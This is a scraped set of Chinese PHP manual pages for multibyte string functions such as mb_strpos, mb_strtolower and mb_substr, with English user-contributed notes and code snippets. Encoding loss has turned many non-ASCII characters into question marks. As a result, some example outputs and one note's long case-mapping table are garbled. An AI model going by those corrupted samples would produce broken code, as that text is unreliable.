I have been working with some funny html characters lately and due to the nightmare in manipulating them between mysql and php, I got the database column set to utf8, then store characters with html enity "&#7885;" as ? in the database and set the encoding on php as "utf8".

This is where mb_strlen became more useful than strlen.  While strlen('?') gives result as 3, mb_strlen('?','UTF-8') gives 1 as expected.

But left(column1,1) in mysql still gives wrong char for a multibyte string.  In the example above, I had to do left(column1,3) to get the correct string from mysql.  I am now about to investigate multibyte manipulation in mysql.


查找字符串在另一个字符串中首次出现的位置

  • ? mb_strlen
  • mb_strrchr ?
  • PHP Manual
  • 多字节字符串 函数
  • 查找字符串在另一个字符串中首次出现的位置

mb_strpos

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strpos — 查找字符串在另一个字符串中首次出现的位置

说明

mb_strpos(
string $haystack,
string $needle,
int $offset = 0,
?string $encoding = null
): int|false

查找 string 在一个 string 中首次出现的位置。

基于字符数执行一个多字节安全的 strpos() 操作。 第一个字符的位置是 0，第二个字符的位置是 1，以此类推。

参数

haystack

要被检查的 string。

needle

在 haystack 中查找这个字符串。 和 strpos() 不同的是，数字的值不会被当做字符的顺序值。

offset

搜索位置的偏移。如果没有提供该参数，将会使用 0。负数的 offset 会从字符串尾部开始统计。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

返回 string 的 haystack 中 needle 首次出现位置的数值。 如果没有找到 needle，它将返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 needle 接受空字符串。
8.0.0 | 现在 encoding 可以为 null。
7.1.0 | 支持负数的 offset。

参见

  • mb_internal_encoding() - 设置/获取内部字符编码
  • strpos() - 查找字符串首次出现的位置

User Contributed Notes

There are no user contributed notes for this page.


查找指定字符在另一个字符串中最后一次的出现

  • ? mb_strpos
  • mb_strrichr ?
  • PHP Manual
  • 多字节字符串 函数
  • 查找指定字符在另一个字符串中最后一次的出现

mb_strrchr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strrchr — 查找指定字符在另一个字符串中最后一次的出现

说明

mb_strrchr(
string $haystack,
string $needle,
bool $before_needle = false,
?string $encoding = null
): string|false

mb_strrchr() 查找了 needle 在 haystack 中最后一次出现的位置，并返回 haystack 的部分。 如果没有找到 needle，它将返回 false。

参数

haystack

在该字符串中查找 needle 最后出现的位置

needle

在 haystack 中查找这个字符串

before_needle

决定这个函数返回 haystack 的哪一部分。 如果设置为 true，它将返回的字符是从 haystack 的开始到 needle 最后出现的位置。 如果设置为 false，它将返回的字符是从 needle 最后出现的位置到 haystack 的末尾。

encoding

使用的字符编码名称。如果省略了，则将使用内部编码。

返回值

返回 haystack 的一部分。 或者在没有找到 needle 时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 needle 接受空字符串。
8.0.0 | 现在 encoding 可以为 null。

参见

  • strrchr() - 查找指定字符在字符串中的最后一次出现
  • mb_strstr() - 查找字符串在另一个字符串里的首次出现
  • mb_strrichr() - 大小写不敏感地查找指定字符在另一个字符串中最后一次的出现

User Contributed Notes

Anonymous 28-Apr-2023 08:54
needle: /
string: o/a/i

if before_needle is 1  then needle is excluded: "o/a"
if before_needle is false  then needle is included:  "/i"

as code:

$str="o/a/i";
$cs="/";

echo "if before_needle == 1  then needle is excluded"."\n";
$str="o/a/i";
$cs="/";
echo mb_strrchr ($str,$cs,1)."\n";

echo "if before_needle == false  then needle is included"."\n";
$str="o/a/i";
$cs="/";
echo mb_strrchr ($str,$cs,0)."\n";


大小写不敏感地查找指定字符在另一个字符串中最后一次的出现

  • ? mb_strrchr
  • mb_strripos ?
  • PHP Manual
  • 多字节字符串 函数
  • 大小写不敏感地查找指定字符在另一个字符串中最后一次的出现

mb_strrichr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strrichr — 大小写不敏感地查找指定字符在另一个字符串中最后一次的出现

说明

mb_strrichr(
string $haystack,
string $needle,
bool $before_needle = false,
?string $encoding = null
): string|false

mb_strrichr() 大小写不敏感地查找指定 needle 在 haystack 中最后一次的出现，并返回 haystack 的一部分。 和 mb_strrchr() 不同的是，mb_strrichr() 是大小写不敏感的。 如果 needle 没有找到，它将返回 false。

参数

haystack

在该字符串中查找 needle 的最后出现位置

needle

在 needle 中查找该字符串

before_needle

决定这个函数返回 haystack 的哪一部分。 如果设置为 true，它将返回的字符是从 haystack 的开始到 needle 最后出现的位置。 如果设置为 false，它将返回的字符是从 needle 最后出现的位置到 haystack 的末尾。

encoding

使用的字符编码名称。如果省略了，则将使用内部编码。

返回值

返回 haystack 的一部分。 或者在没有找到 needle 时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 needle 接受空字符串。
8.0.0 | 现在 encoding 可以为 null。

参见

  • mb_stristr() - 大小写不敏感地查找字符串在另一个字符串里的首次出现
  • mb_strrchr() - 查找指定字符在另一个字符串中最后一次的出现

User Contributed Notes

There are no user contributed notes for this page.


大小写不敏感地在字符串中查找一个字符串最后出现的位置

  • ? mb_strrichr
  • mb_strrpos ?
  • PHP Manual
  • 多字节字符串 函数
  • 大小写不敏感地在字符串中查找一个字符串最后出现的位置

mb_strripos

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strripos — 大小写不敏感地在字符串中查找一个字符串最后出现的位置

说明

mb_strripos(
string $haystack,
string $needle,
int $offset = 0,
?string $encoding = null
): int|false

mb_strripos() 基于字符数执行一个多字节安全的 strripos() 操作。 needle 的位置是从 haystack 的开始进行统计的。 第一个字符的位置是 0，第二个字符的位置是 1。 和 mb_strrpos() 不同的是，mb_strripos() 是大小写不敏感的。

参数

haystack

查找 needle 在这个字符串中最后出现的位置。

needle

在 haystack 中查找这个字符串。

offset

在 haystack 中开始搜索的位置。

encoding

使用的字符编码名称。如果省略了，则将使用内部编码。

返回值

返回字符串 haystack 中 needle 最后出现位置的数值。 如果没有找到 needle，它将返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 needle 接受空字符串。
8.0.0 | 现在 encoding 可以为 null。

参见

  • strripos() - 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置
  • mb_strrpos() - 查找字符串在一个字符串中最后出现的位置

User Contributed Notes

ivrokrambler at gmail dot com 01-Jul-2017 05:10
<?php
function backStrpos($str, $needle, $offset){
    $needler = backStr($needle);
    $strr = backStr($str);
    $offsetr = strlen($str) - 1 - $offset;
    $posr = mb_stripos($strr, $needler, $offsetr);
    return strlen($str) - 1 - $posr - strlen($needle);
}
function backStr($str){
    $str = str_replace(array('<', '>'), array('>', '<'), $str);
    return strrev($str);
}

function backStrpos($str, $needle, $offset){
    $needler = backStr($needle);
    $strr = backStr($str);
    $offsetr = strlen($str) - 1 - $offset;
    $posr = mb_stripos($strr, $needler, $offsetr);
    return strlen($str) - 1 - $posr - strlen($needle);
}
function backStr($str){
    $str = str_replace(array('<', '>'), array('>', '<'), $str);
    return strrev($str);
}

$test = '<table><TR>TEXT</TR><TR>TEST</TR></table>';
$pos = mb_stripos($test, 'TEST', 0);
var_dump($pos);
var_dump(backStrpos($test, '<tr', $pos));
var_dump(backStrpos($test, '<tr', backStrpos($test, '<tr', $pos)));

------->
int(24)
int(19)
int(6)
easai 27-May-2010 09:53
Here are Java like startsWith/endsWith implementations in PHP.

<?php
    function startsWith($haystack,$needle)
    {
      $res=FALSE;
      if(mb_strripos($haystack,$needle,0,"utf-8")==0)
         $res= TRUE;
      return $res;
    }

    function endsWith($haystack,$needle)
    {
      $res=FALSE;
      $len=mb_strlen($haystack);
      $pos=$len-mb_strlen($needle);
      if(mb_strripos($haystack,$needle,0,"utf-8")==$pos)
         $res= TRUE;
      return $res;
    }
?>


查找字符串在一个字符串中最后出现的位置

  • ? mb_strripos
  • mb_strstr ?
  • PHP Manual
  • 多字节字符串 函数
  • 查找字符串在一个字符串中最后出现的位置

mb_strrpos

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strrpos — 查找字符串在一个字符串中最后出现的位置

说明

mb_strrpos(
string $haystack,
string $needle,
int $offset = 0,
?string $encoding = null
): int|false

基于字符数执行一个多字节安全的 strrpos() 操作。 needle 的位置是从 haystack 的开始进行统计的。 第一个字符的位置是 0，第二个字符的位置是 1。

参数

haystack

查找 needle 在这个 string 中最后出现的位置。

needle

在 haystack 中查找这个 string。

offset
可以用于指定 string 里从任意字符数开始进行搜索。 负数的值将导致搜索会终止于指向 string 末尾的任意点。
encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

返回 string 的 haystack 中，needle 最后出现位置的数值。 如果没有找到 needle，它将返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 needle 接受空字符串。
8.0.0 | 已经删除将 encoding 作为第三个参数而不是偏移量传递。
8.0.0 | 现在 encoding 可以为 null。

参见

  • mb_strpos() - 查找字符串在另一个字符串中首次出现的位置
  • mb_internal_encoding() - 设置/获取内部字符编码
  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置

User Contributed Notes

Anonymous 08-Apr-2015 02:20
"Negative values will stop searching at an arbitrary point prior to the end of the string. " ist misleading.
The needle may not fully part of searchrange, defined by a negative offset.
A negative offsets marks the last byte, where a search could start.
<?php
$test = "Hallo, Herr G?tt";
var_dump(strlen($test));                       // int(17)
var_dump(mb_strrpos($test,'?tt',13));  // int(13)
var_dump(mb_strrpos($test,'?tt',-4)); // int(13) 17-4 = 13
var_dump(mb_strrpos($test,'?tt',-5)); // bool(false)
?>
27-Nov-2005 06:32
mb_strrpos throws a warning if $haystack is empty.
strrpos simply returns FALSE.

This is something to be wary of if overloading the mb functions.


查找字符串在另一个字符串里的首次出现

  • ? mb_strrpos
  • mb_strtolower ?
  • PHP Manual
  • 多字节字符串 函数
  • 查找字符串在另一个字符串里的首次出现

mb_strstr

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

mb_strstr — 查找字符串在另一个字符串里的首次出现

说明

mb_strstr(
string $haystack,
string $needle,
bool $before_needle = false,
?string $encoding = null
): string|false

mb_strstr() 查找了 needle 在 haystack 中首次的出现并返回 haystack 的一部分。 如果 needle 没有找到，它将返回 false。

参数

haystack

要获取 needle 首次出现的字符串。

needle

在 haystack 中查找这个字符串。

before_needle

决定这个函数返回 haystack 的哪一部分。 如果设置为 true，它返回 haystack 中从开始到 needle 出现位置的所有字符（不包括 needle）。 如果设置为 false，它返回 haystack 中 needle 出现位置到最后的所有字符（包括了 needle）。

encoding

要使用的字符编码名称。 如果省略该参数，将使用内部字符编码。

返回值

返回 haystack 的一部分，或者 needle 没找到则返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 needle 接受空字符串。
8.0.0 | 现在 encoding 可以为 null。

参见

  • stristr() - strstr 函数的忽略大小写版本
  • strstr() - 查找字符串的首次出现
  • mb_stristr() - 大小写不敏感地查找字符串在另一个字符串里的首次出现

User Contributed Notes

There are no user contributed notes for this page.


使字符串小写

  • ? mb_strstr
  • mb_strtoupper ?
  • PHP Manual
  • 多字节字符串 函数
  • 使字符串小写

mb_strtolower

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_strtolower — 使字符串小写

说明

mb_strtolower(string $string, ?string $encoding = null): string

返回所有字母字符转换成小写的 string。

参数

string

要被小写的 string。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

所有字母字符已被转换成小写的 string。

示例

Example #1 mb_strtolower() 示例

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = mb_strtolower($str);
echo $str; // 输出： mary had a little lamb and she loved it so
?>

Example #2 非拉丁 UTF-8 文本的 mb_strtolower() 例子

<?php
$str = "Τ?χιστη αλ?πηξ βαφ?? ψημ?νη γη, δρασκελ?ζει υπ?ρ νωθρο? κυν??";
$str = mb_strtolower($str, 'UTF-8');
echo $str; // 输出 τ?χιστη αλ?πηξ βαφ?? ψημ?νη γη, δρασκελ?ζει υπ?ρ νωθρο? κυν??
?>

注释

和 strtolower() 不同的是，"字母"字符的检测是根据字符的 Unicode 属性。因此函数的行为不会受语言设置的影响，能偶转换任意具有"字母"属性的字符，例如元音变音 A（?）。

更多关于 Unicode 属性的信息，请参见 » http://www.unicode.org/reports/tr21/。

参见

  • mb_strtoupper() - 使字符串大写
  • mb_convert_case() - 对字符串进行大小写转换
  • strtolower() - 将字符串转化为小写

User Contributed Notes

Ukio 25-Nov-2015 09:32
Maybe it help someone.
Make up case with first char, low case for other.

<?php
function str_split_unicode($str, $l = 0) {
    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}

function ToCorrectCase($str){

    $str = mb_strtolower($str);
    $str_array = str_split_unicode($str);
    $str_array[0] = mb_strtoupper($str_array[0]);
    $str = '';
    foreach ($str_array as $key){
        $str = $str.$key;
    }
    return $str;
}
?>
fisharebest at gmail dot com 18-Apr-2012 04:27
There is not a one-to-one correspondence between upper and lower case letters.

Turkish is a good example of this.  In Turkish, the letter I/i has a dotted-upper-case form (?) and a dotless-lower-case form (?).

https://en.wikipedia.org/wiki/Dotted_and_dotless_I

This means that you cannot correctly convert between upper-case and lower-case without also knowing the locale of the data.

Since the function does not let you specify a locale, you should only use this function for text written in languages that follow the same orthography as English.

Although it does handle some digraphs, such as the Dutch ij (?), it does not handle others, such as the Polish dz (?).
akniep at linklift dot net 12-Sep-2011 08:42
Please, note that when using with UTF-8 mb_strtolower will only convert upper case characters to lower case which are marked with the Unicode property "Upper case letter" ("Lu"). However, there are also letters such as "Letter numbers" (Unicode property "Nl") that also have lower case and upper case variants. These characters will not be converted be mb_strtolower!

Example:
The Roman letters Ⅰ, Ⅱ, Ⅲ, ..., ? (UTF-8 code points 8544 through 8559) also exist in their respective lower case variants ⅰ, ⅱ, ⅲ, ..., ? (UTF-8 code points 8560 through 8575) and should, in my opinion, also be converted by mb_strtolower, but they are not!

Big internet-companies (like Google) do match both variants as semantically equal (since the representations only differ in case).

Since I was not finding any proper solution in the internet on how to map all UTF8-strings to their lowercase counterpart in PHP, I offer the following hard-coded extended mb_strtolower function for UTF-8 strings:

The function wraps the existing function mb_strtolower() and additionally replaces uppercase UTF8-characters for which there is a lowercase representation. Since there is no proper Unicode uppercase and lowercase character-table in the internet that I was able to find, I checked the first million UTF8-characters against the Google-search and -KeywordTool and identified the following 78 characters as uppercase-characters, not being replaced by mb_strtolower, but having a UTF8 lowercase counterpart.

<?php

//the numbers in the in-line-comments display the characters' Unicode code-points (CP).
function strtolower_utf8_extended( $utf8_string )
{
    $additional_replacements    = array
        ( "?"    => "?"        //   453 ->   454
        , "?"    => "?"        //   456 ->   457
        , "?"    => "?"        //   459 ->   460
        , "?"    => "?"        //   498 ->   499
        , "?"    => "?"        //  1015 ->  1016
        , "?"    => "?"        //  1017 ->  1010
        , "?"    => "?"        //  1018 ->  1019
        , "?"    => "?"        //  8072 ->  8064
        , "?"    => "?"        //  8073 ->  8065
        , "?"    => "?"        //  8074 ->  8066
        , "?"    => "?"        //  8075 ->  8067
        , "?"    => "?"        //  8076 ->  8068
        , "?"    => "?"        //  8077 ->  8069
        , "?"    => "?"        //  8078 ->  8070
        , "?"    => "?"        //  8079 ->  8071
        , "?"    => "?"        //  8088 ->  8080
        , "?"    => "?"        //  8089 ->  8081
        , "?"    => "?"        //  8090 ->  8082
        , "?"    => "?"        //  8091 ->  8083
        , "?"    => "?"        //  8092 ->  8084
        , "?"    => "?"        //  8093 ->  8085
        , "?"    => "?"        //  8094 ->  8086
        , "?"    => "?"        //  8095 ->  8087
        , "?"    => "?"        //  8104 ->  8096
        , "?"    => "?"        //  8105 ->  8097
        , "?"    => "?"        //  8106 ->  8098
        , "?"    => "?"        //  8107 ->  8099
        , "?"    => "?"        //  8108 ->  8100
        , "?"    => "?"        //  8109 ->  8101
        , "?"    => "?"        //  8110 ->  8102
        , "?"    => "?"        //  8111 ->  8103
        , "?"    => "?"        //  8124 ->  8115
        , "?"    => "?"        //  8140 ->  8131
        , "?"    => "?"        //  8188 ->  8179
        , "Ⅰ"    => "ⅰ"        //  8544 ->  8560
        , "Ⅱ"    => "ⅱ"        //  8545 ->  8561
        , "Ⅲ"    => "ⅲ"        //  8546 ->  8562
        , "Ⅳ"    => "ⅳ"        //  8547 ->  8563
        , "Ⅴ"    => "ⅴ"        //  8548 ->  8564
        , "Ⅵ"    => "ⅵ"        //  8549 ->  8565
        , "Ⅶ"    => "ⅶ"        //  8550 ->  8566
        , "Ⅷ"    => "ⅷ"        //  8551 ->  8567
        , "Ⅸ"    => "ⅸ"        //  8552 ->  8568
        , "Ⅹ"    => "ⅹ"        //  8553 ->  8569
        , "Ⅺ"    => "?"        //  8554 ->  8570
        , "Ⅻ"    => "?"        //  8555 ->  8571
        , "?"    => "?"        //  8556 ->  8572
        , "?"    => "?"        //  8557 ->  8573
        , "?"    => "?"        //  8558 ->  8574
        , "?"    => "?"        //  8559 ->  8575
        , "?"    => "?"        //  9398 ->  9424
        , "?"    => "?"        //  9399 ->  9425
        , "?"    => "?"        //  9400 ->  9426
        , "?"    => "?"        //  9401 ->  9427
        , "?"    => "?"        //  9402 ->  9428
        , "?"    => "?"        //  9403 ->  9429
        , "?"    => "?"        //  9404 ->  9430
        , "?"    => "?"        //  9405 ->  9431
        , "?"    => "?"        //  9406 ->  9432
        , "?"    => "?"        //  9407 ->  9433
        , "?"    => "?"        //  9408 ->  9434
        , "?"    => "?"        //  9409 ->  9435
        , "?"    => "?"        //  9410 ->  9436
        , "?"    => "?"        //  9411 ->  9437
        , "?"    => "?"        //  9412 ->  9438
        , "?"    => "?"        //  9413 ->  9439
        , "?"    => "?"        //  9414 ->  9440
        , "?"    => "?"        //  9415 ->  9441
        , "?"    => "?"        //  9416 ->  9442
        , "?"    => "?"        //  9417 ->  9443
        , "?"    => "?"        //  9418 ->  9444
        , "?"    => "?"        //  9419 ->  9445
        , "?"    => "?"        //  9420 ->  9446
        , "?"    => "?"        //  9421 ->  9447
        , "?"    => "?"        //  9422 ->  9448
        , "?"    => "?"        //  9423 ->  9449
        , "??"    => "??"        // 66598 -> 66638
        , "??"    => "??"        // 66599 -> 66639
        );

    $utf8_string    = mb_strtolower( $utf8_string, "UTF-8");

    $utf8_string    = strtr( $utf8_string, $additional_replacements );

    return $utf8_string;
} //strtolower_utf8_extended()

?>
Ken Shiro 31-Jul-2010 02:07
[If you get this error:]
Fatal error: Call to undefined function: mb_strtolower() in ????.php on line ??

The PHP mbstring extension, which is required to handle international character sets, is not available on your server. Check your PHP configuration and make sure that PHP has been compiled with --enable-mbstring.

It's also apply to
Call to undefined function mb_eregi() / mb_strtolower()
Philipp H 01-Nov-2007 10:11
Note that mb_strtolower() is very SLOW, if you have a database connection, you may want to use it to convert your strings to lower case. Even latin1/9 (iso-8859-1/15) and other encodings are possible.

Have a look at my simple benchmark:

<?php

$text = "L?rem ip?üm d?l?r ?it ?met, c?n?ectetüer ?dipi?cing elit. Sed ligül?. Pr?e?ent jü?t? tellü?, gr?vid? eü, tempü? ?, m?tti? n?n, ?rci. N?m qüi? l?rem. N?m ?liqüet elit ?ed elit. Ph??ellü? venen?ti? jü?t? eget enim. D?nec ni?l. Pr?in m?tti? venen?ti? jü?t?. Sed ?liqü?m p?rt? ?rci. Cr?? elit ni?l, c?nv?lli? qüi?, tincidünt ?t, vehicül? ?ccüm??n, ?di?. Sed m?le?tie. Eti?m m?lli? feügi?t elit. Ve?tibülüm ?nte ip?üm primi? in f?ücibü? ?rci lüctü? et ültrice? p??üere cübili? Cür?e; M?ecen?? n?n nüll?.";

// mb_strtolower()
$timeMB = microtime(true);

    for($i=0;$i<30000;$i++)
        $lower = mb_strtolower("$text/no-cache-$i");

$timeMB = microtime(true) - $timeMB;

// MySQL lower()
$timeSQL = microtime(true);

    mysql_query("set names latin1");
    for($i=0;$i<30000;$i++) {
        $r = mysql_fetch_row(mysql_query("select lower('$text/no-cache-$i')"));
        $lower = $r[0];
    }

$timeSQL = microtime(true) - $timeSQL;

echo "mb: ".sprintf("%.5f",$timeMB)." sek.<br />";
echo "sql: ".sprintf("%.5f",$timeSQL)." sek.<br />";

// Result on my notebook:
// mb: 11.50642 sek.
// sql: 5.44143 sek.

?>
btherl at yahoo dot com dot au 15-Nov-2005 09:12
If you use this function on a unicode string without telling PHP that it is unicode, then you will corrupt your string.  In particular, the uppercase 'A' with tilde, common in 2-byte UTF-8 characters, is converted to lowercase 'a' with tilde.

This can be handled correctly by:
$str = mb_strtolower($str, mb_detect_encoding($str));

Or if you know your data is UTF-8, just use the string "UTF-8" as the second argument.

You should check also that mb_detect_encoding() is checking the encodings you want it to check, and is detecting the correct encodings.


使字符串大写

  • ? mb_strtolower
  • mb_strwidth ?
  • PHP Manual
  • 多字节字符串 函数
  • 使字符串大写

mb_strtoupper

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_strtoupper — 使字符串大写

说明

mb_strtoupper(string $string, ?string $encoding = null): string

将所有的字母字符转化成大写并返回 string。

参数

string

要大写的 string。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

string 里所有的字母都转换成大写的。

示例

Example #1 mb_strtoupper() 示例

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = mb_strtoupper($str);
echo $str; // Prints MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
?>

Example #2 非拉丁 UTF-8 文本的 mb_strtoupper() 示例

<?php
$str = "Τ?χιστη αλ?πηξ βαφ?? ψημ?νη γη, δρασκελ?ζει υπ?ρ νωθρο? κυν??";
$str = mb_strtoupper($str, 'UTF-8');
echo $str; // 打印了 Τ?ΧΙΣΤΗ ΑΛ?ΠΗΞ ΒΑΦ?Σ ΨΗΜ?ΝΗ ΓΗ, ΔΡΑΣΚΕΛ?ΖΕΙ ΥΠ?Ρ ΝΩΘΡΟ? ΚΥΝ?Σ
?>

注释

和 strtoupper() 不同的是，"字母"是通过 Unicode 字符属性来确定的。 因此这个函数不会受语言环境（locale）设置影响，能够转化任何具有"字母"属性的字符，例如 a 变音符号（?）。

更多 Unicode 属性的信息，请参见 » http://www.unicode.org/reports/tr21/。

参见

  • mb_strtolower() - 使字符串小写
  • mb_convert_case() - 对字符串进行大小写转换
  • strtoupper() - 将字符串转化为大写

User Contributed Notes

serg_x 30-Sep-2019 04:28
Only first letter

function mb_ucfirst($string, $encoding = 'UTF-8'){
  $strlen = mb_strlen($string, $encoding);
  $firstChar = mb_substr($string, 0, 1, $encoding);
  $then = mb_substr($string, 1, $strlen - 1, $encoding);
  return mb_strtoupper($firstChar, $encoding) . $then;
}


返回字符串的宽度

  • ? mb_strtoupper
  • mb_substitute_character ?
  • PHP Manual
  • 多字节字符串 函数
  • 返回字符串的宽度

mb_strwidth

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_strwidth — 返回字符串的宽度

说明

mb_strwidth(string $string, ?string $encoding = null): int

返回 string 类型 string 的宽度，其中半角字符计为 1，全角字符计为 2。有关东亚字符宽度的详细信息，请参见 » http://www.unicode.org/reports/tr11/。

全角字符是： U+1100-U+115F, U+11A3-U+11A7, U+11FA-U+11FF, U+2329-U+232A, U+2E80-U+2E99, U+2E9B-U+2EF3, U+2F00-U+2FD5, U+2FF0-U+2FFB, U+3000-U+303E, U+3041-U+3096, U+3099-U+30FF, U+3105-U+312D, U+3131-U+318E, U+3190-U+31BA, U+31C0-U+31E3, U+31F0-U+321E, U+3220-U+3247, U+3250-U+32FE, U+3300-U+4DBF, U+4E00-U+A48C, U+A490-U+A4C6, U+A960-U+A97C, U+AC00-U+D7A3, U+D7B0-U+D7C6, U+D7CB-U+D7FB, U+F900-U+FAFF, U+FE10-U+FE19, U+FE30-U+FE52, U+FE54-U+FE66, U+FE68-U+FE6B, U+FF01-U+FF60, U+FFE0-U+FFE6, U+1B000-U+1B001, U+1F200-U+1F202, U+1F210-U+1F23A, U+1F240-U+1F248, U+1F250-U+1F251, U+20000-U+2FFFD, U+30000-U+3FFFD。 其它所有字符都是半角字符。

参数

string

待解码的 string。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

string string 的宽度。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

示例

Example #1 mb_strwidth() 示例

<?php
var_dump(
mb_strwidth('a'), // 拉丁文小写字母 A
mb_strwidth("\u{ff41}") // 全角拉丁文小写字母 A
);
?>

以上示例会输出：

int(1)
int(2)

参见

  • mb_strimwidth() - 获取按指定宽度截断的字符串
  • mb_internal_encoding() - 设置/获取内部字符编码

User Contributed Notes

Adam Altman 15-Jan-2014 03:51
Important, if you're looking to trim/cut/truncate a string so that it will fit a certain byte size (for example to fit in a database field), look at:  mb_strcut()
Anonymous 31-Oct-2007 04:27
Note: mb_strwidth is NOT returning bytes.  It's returning the width of monotype characters.  (In some languages, some characters will take up 2 character widths if displayed in monotype.)


设置/获取替代字符

  • ? mb_strwidth
  • mb_substr_count ?
  • PHP Manual
  • 多字节字符串 函数
  • 设置/获取替代字符

mb_substitute_character

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_substitute_character — 设置/获取替代字符

说明

mb_substitute_character(string|int|null $substitute_character = null): string|int|bool

当输入字符的编码是无效的，或者字符代码不存在于输出的字符编码中时，可以为其指定一个替代字符。 无效字符可以被替换为 "none"（不输出）、string 或者 int 值（Unicode 字符代码的值）。

该设置会影响 mb_convert_encoding()、
mb_convert_variables()、
mb_output_handler()
和 mb_send_mail()。

参数

substitute_character

指定 Unicode 值为一个 int，或者是以下 string 中的一个：

  • "none"：不输出
  • "long"：输出字符代码的值（比如：U+3000、JIS+7E7E）
  • "entity"：输出字符的实体（比如：&#x200;）

返回值

如果设置了 substitute_character，在成功时返回 true，失败时返回 false。 如果没有设置 substitute_character，它将返回当前设置。

更新日志

版本 | 说明
8.0.0 | 不再支持将空字符串传递给 substitute_character；应该传递 "none"。
8.0.0 | 现在 encoding 可以为 null。

示例

Example #1 mb_substitute_character() 示例

<?php
/* 设置为 Unicode U+3013 (GETA MARK) */
mb_substitute_character(0x3013);

/* 设置十六进制格式 */
mb_substitute_character("long");

/* 显示当前设置 */
echo mb_substitute_character();
?>

User Contributed Notes

There are no user contributed notes for this page.


统计字符串出现的次数

  • ? mb_substitute_character
  • mb_substr ?
  • PHP Manual
  • 多字节字符串 函数
  • 统计字符串出现的次数

mb_substr_count

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_substr_count — 统计字符串出现的次数

说明

mb_substr_count(string $haystack, string $needle, ?string $encoding = null): int

统计子字符串 needle 出现在字符串 haystack 中的次数。

参数

haystack

要检查的字符串。

needle

待查找的字符串。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

子字符串 needle 出现在 string haystack 中的次数。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

示例

Example #1 mb_substr_count() 示例

<?php
echo mb_substr_count("This is a test", "is"); // 输出 2
?>

参见

  • mb_strpos() - 查找字符串在另一个字符串中首次出现的位置
  • mb_substr() - 获取部分字符串
  • substr_count() - 计算字串出现的次数

User Contributed Notes

There are no user contributed notes for this page.


获取部分字符串

  • ? mb_substr_count
  • Pspell ?
  • PHP Manual
  • 多字节字符串 函数
  • 获取部分字符串

mb_substr

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_substr — 获取部分字符串

说明

mb_substr(
string $string,
int $start,
?int $length = null,
?string $encoding = null
): string

根据字符数执行一个多字节安全的 substr() 操作。 位置是从 string 的开始位置进行计数。 第一个字符的位置是 0。第二个字符的位置是 1，以此类推。

参数

string

从该 string 中提取子字符串。

start

如果 start 不是负数，返回的字符串会从 string 第 start 的位置开始，从 0 开始计数。举个例子，字符串 'abcdef'，位置 0 的字符是 'a'，位置 2 的字符是 'c'，以此类推。

如果 start 是负数，返回的字符串是从 string 末尾处第 start 个字符开始的。

length

string 中要使用的最大字符数。如果省略了此参数或者传入了 NULL，则会提取到字符串的尾部。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

mb_substr() 函数根据 start 和 length 参数返回 string 中指定的部分。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

参见

  • mb_strcut() - 获取字符的一部分
  • mb_internal_encoding() - 设置/获取内部字符编码

User Contributed Notes

qdinar at gmail dot com 27-Jun-2016 04:06
you can make mb_substr working faster with long strings with usage of ucs-2 encoding.

<?php

header('Content-Type: text/html; CHARSET=gb2312');
echo '<meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312" >';

function test($string, $encoding='utf8'){
    $t1=microtime(true);
    $textlen=mb_strlen($string);
    $substr_len=3;
    for($i=0;$i<$textlen-$substr_len+1;$i++){
        $substr=mb_substr($string,$i,$substr_len);
    }
    echo 'mb_substr, '.$encoding.': '.(microtime(true)-$t1);
    echo ' . check: ';
    if($encoding=='ucs2'){
        $substr=mb_convert_encoding($substr,'utf-8','ucs2');
    }
    var_dump( $substr );
    echo ' . <br>';
    echo '<br>';
}

$corpus_short=str_repeat('тест Тест ',1000);
// it works likewise slowly with "test Test" with utf8
mb_internal_encoding('utf-8');
test($corpus_short);

$corpus_short_ucs2=mb_convert_encoding($corpus_short,'ucs2','utf-8');
mb_internal_encoding('ucs2');
test($corpus_short_ucs2,'ucs2');

?>

output:

mb_substr, utf8: 0.26480984687805 . check: string(5) "ст " .

mb_substr, ucs2: 0.0048871040344238 . check: string(5) "ст " .
qbolec at gmail dot com 05-Aug-2015 03:10
As you often need to iterate over UTF-8 characters inside a string, you might be tempted to use mb_substr($text,$i,1).
